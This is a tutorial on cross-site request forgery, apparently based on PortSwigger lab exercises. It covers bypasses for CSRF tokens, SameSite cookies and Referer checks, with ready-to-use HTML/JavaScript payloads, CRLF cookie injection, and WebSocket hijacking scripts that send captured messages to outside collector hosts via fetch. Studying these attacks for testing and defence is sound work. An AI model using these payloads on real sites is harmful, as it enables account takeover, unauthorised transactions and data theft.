Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.
For a CSRF attack to be possible, three key conditions must be in place:
- A relevant action:There is an action within the application that the attacker has a reason to induce
- Cookie-based session handling: There is no other mechanism in place for tracking sessions or validating user requests.
- Non unpredictable request parameters: The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess.
How to construct a CSRF attack
A CSRF PoC can be created with burpsuite. Right click on the desired request and Engagemnt Tools->Generate CSRF PoC
How to deliver a CSRF exploit
The delivery mechanisms for cross-site request forgery attacks are essentially the same as for reflected XSS. Typically, the attacker will place the malicious HTML onto a website that they control, and then induce victims to visit that website. This might be done by feeding the user a link to the website, via an email or social media message.
CSRF exploits employ the GET method and can be fully self-contained with a single URL on the vulnerable website.
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
Common defences against CSRF
Nowadays, successfully finding and exploiting CSRF vulnerabilities often involves bypassing anti-CSRF measures deployed by the target website, the victim’s browser, or both. The most common defenses you’ll encounter are as follows:
- CSRF Token: A CSRF token is a unique, secret, and unpredictable value that is generated by the server-side application and shared with the client.
- SameSite Cookies: SameSite is a browser security mechanism that determines when a website’s cookies are included in requests originating from other websites.
- Referer-based validation: Some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain.
Bypass CSRF Token validation
A common way to share CSRF tokens with the client is to include them as a hidden parameter in an HTML form.
Validation of CSRF token depends on request method
Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.
GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
Deliver the payload with an HTML:
<html>
<img src="https://example.com/my-account/change-email?email=test3@test.com">
</html>
Validation of CSRF token depends on token being present
Some applications correctly validate the token when it is present but skip the validation if the token is omitted.
In this situation, the attacker can remove the entire parameter containing the token (not just its value) to bypass the validation and deliver a CSRF attack:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
email=pwned@evil-user.net
CSRF token is not tied to the user session
Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool.
In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.
CSRF token is tied to a non-session cookie
In a variation on the preceding vulnerability, some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com
This situation is harder to exploit but is still vulnerable. If the website contains any behavior that allows an attacker to set a cookie in a victim’s browser, then an attack is possible.
Example of exploitation:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState('', '', '/');
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test3@test.com" />
<input type="hidden" name="csrf" value="cLM7o8nGIrotmaKIkRIcKxT3dLddqY3g" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=test%0d%0aSet-Cookie:+csrfKey=c7EQkv5GvRyeVkHyfScJpZ0SFvGKm5F7%3b%20SameSite=None" onerror="document.forms[0].submit();">
</body>
</html>
Note: It is very important to set the cookie attribute
SameSite
asNone
in order to work.
CSRF token is simply duplicated in a cookie
In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is sometimes called the “double submit” defense against CSRF, and is advocated because it is simple to implement and avoids the need for any server-side state:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com
In this situation, the attacker can again perform a CSRF attack if the website contains any cookie setting functionality. Here, the attacker doesn’t need to obtain a valid token of their own.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState('', '', '/');
</script>
<form action="https://0add00be04a9a681abda09be005700eb.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="exploit@test.com" />
<input type="hidden" name="csrf" value="fake" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0add00be04a9a681abda09be005700eb.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
</body>
</html>
Bypass SameSite Cookie restrictions
SameSite is a browser security mechanism that determines when a website’s cookies are included in requests originating from other websites. SameSite cookie restrictions provide partial protection against a variety of cross-site attacks, including CSRF, cross-site leaks, and some CORS exploits.
As you can see from this example, the term “site” is much less specific as it only accounts for the scheme and last part of the domain name. Crucially, this means that a cross-origin request can still be same-site, but not the other way around.
Request from | Request to | Same-Site? | Same-Origin? |
---|---|---|---|
https://example.com | https://example.com | Yes | Yes |
https://app.example.com | https://intranet.example.com | Yes | No: mismatched domain name |
https://example.com | https://example.com:8080 | Yes | No: mismatched port |
https://example.com | https://example.com.uk | No: mismatched TLD | No: mismatched domain name |
https://example.com | http://example.com | No: mismatched scheme | No: mismatched scheme |
SameSite
has the following restriction levels:
Strict
: Browsers will not send it in any cross-site requests.Lax
: Browsers will send the cookie in cross-site requests but only if the request usesGET
method and the request is a result of a top-level navigation by the user, such as clickn on a link.None
: Disables SameSite restrictions. It is the default behaviour used by major browsers if noSameSite
is provided execept of Chrome.
Bypassing SameSite Lax restrictions using GET requests
As long as the request involves a top-level navigation, the browser will still include the victim’s session cookie. The following is one of the simplest approaches to launching such an attack:
<script>
document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
Some frameworks provide ways of overriding the method specified in the request line. Here an example of Symfony
:
<form action="https://vulnerable-website.com/account/transfer-payment" method="GET">
<input type="hidden" name="_method" value="POST">
<input type="hidden" name="recipient" value="hacker">
<input type="hidden" name="amount" value="1000000">
</form>
Bypassing SameSite restrictions using on-site gadgets
If a cookie is set with the SameSite=Strict
attribute, browsers won’t include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site. Try to find a client-side redirect.
Example:
https://example.com/post/comment/confirmation?postId=1234
Redirect to:
https://example.com/post/1234
Try:
https://example.com/post/comment/confirmation?postId=1234../../../../../../my-account/change-email%3femail=test2@test.com%26submit=1
In order to get redirected to:
https://example.com/my-account/change-email?email=test2@test.com&submit=1
Finally generate the CSRF poc.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://example.com/post/comment/confirmation">
<input type="hidden" name="postId" value="1234../../../../../../my-account/change-email?email=test4@test.com&submit=1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Bypassing SameSite restrictions via vulnerable sibling domains
Whether you’re testing someone else’s website or trying to secure your own, it’s essential to keep in mind that a request can still be same-site even if it’s issued cross-origin.
Make sure you thoroughly audit all of the available attack surface, including any sibling domains. In particular, vulnerabilities that enable you to elicit an arbitrary secondary request, such as XSS, can compromise site-based defenses completely, exposing all of the site’s domains to cross-site attacks.
In addition to classic CSRF, don’t forget that if the target website supports WebSockets, this functionality might be vulnerable to cross-site WebSocket hijacking (CSWSH), which is essentially just a CSRF attack targeting a WebSocket handshake.
Cross-Site WebSocket Hijacking (CSWSH)
Example of CSWSH payload:
<script>
var ws = new WebSocket('wss://example.com/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://burpcollaborator.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
This payload needs to be exploit from a XSS in order to bypass SameSite=Strict
cookie attribute.
Bypassing SameSite Lax restrictions with newly issued cookies
Cookies with Lax
SameSite restrictions aren’t normally sent in any cross-site POST
requests, but there are some exceptions.
As mentioned earlier, if a website doesn’t include a SameSite
attribute when setting a cookie, Chrome automatically applies Lax restrictions by default. However, to avoid breaking single sign-on (SSO) mechanisms, it doesn’t actually enforce these restrictions for the first 120 seconds on top-level POST
requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.
Note: This two-minute window does not apply to cookies that were explicitly set with the
SameSite=Lax
attribute.
It’s somewhat impractical to try timing the attack to fall within this short window. On the other hand, if you can find a gadget on the site that enables you to force the victim to be issued a new session cookie, you can preemptively refresh their cookie before following up with the main attack. For example, completing an OAuth-based login flow may result in a new session each time as the OAuth service doesn’t necessarily know whether the user is still logged in to the target site.
Alternatively, you can trigger the cookie refresh from a new tab so the browser doesn’t leave the page before you’re able to deliver the final attack. A minor snag with this approach is that browsers block popup tabs unless they’re opened via a manual interaction. For example, the following popup will be blocked by the browser by default:
window.open('https://vulnerable-website.com/login/sso');
To get around this, you can wrap the statement in an onclick event handler as follows:
window.onclick = () => {
window.open('https://vulnerable-website.com/login/sso');
}
Example of payload:
<form method="POST" action="https://0ac600cf044e8c52806ce41500a90062.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://0ac600cf044e8c52806ce41500a90062.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
Bypassing Referer-based CSRF defenses
Aside from defenses that employ CSRF tokens, some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain. This approach is generally less effective and is often subject to bypasses.
Validation of Referer depends on header being present
Some applications validate the Referer
header when it is present in requests but skip the validation if the header is omitted.
Add <meta name="referrer" content="never">
on your exploit:
<html>
<meta name="referrer" content="never">
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="t3@t.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Validation of Referer can be circumvented
Some applications validate the Referer
header in a naive way that can be bypassed.
- Starts with: Some validation persist if the referer start with a value, so it can be bypass with
https://example.com.malicious.com/csrf-attack
- Has: Other validation is if it contains the domain. Can be bypassed with
https://malicious.com/csrf-attack?example.com
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test2@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/?example.com');
document.forms[0].submit();
</script>
</body>
</html>
Note: Some browsers strips the referer headers, to avoid that add the following header on the malicious server response
Referrer-Policy: unsafe-url
.
Cross-Site WebSocket Hijacking
CSWH or Cross-Site Websocket hijacking involves a cross-site request forquery vulnerability on a WebSocket handshake. It arises when the websocket handshake request relies solely on HTTP cookies for session handling and does not contain any CSRF tokens.
An attacker can create a malicious web page on their own domain which establishes a cross-site WebSocket connection to the vulnerable application. The application will handle the connection in the context of the victim user’s session with the application.
Example of exploit:
<script>
var ws = new WebSocket("wss://0a45008904e7cbd3804cf37400bc00b0.web-security-academy.net/chat");
ws.onopen = function() {
console.log("Conectado al WebSocket");
ws.send("READY");
};
ws.onmessage = function(event) {
console.log("Mensaje del servidor:", event.data);
fetch("https://hf02g7im3afdf7eyw0yv7yibe2kx8rwg.oastify.com/test", {
method: "POST",
mode: "no-cors",
body: event.data
})
};
</script>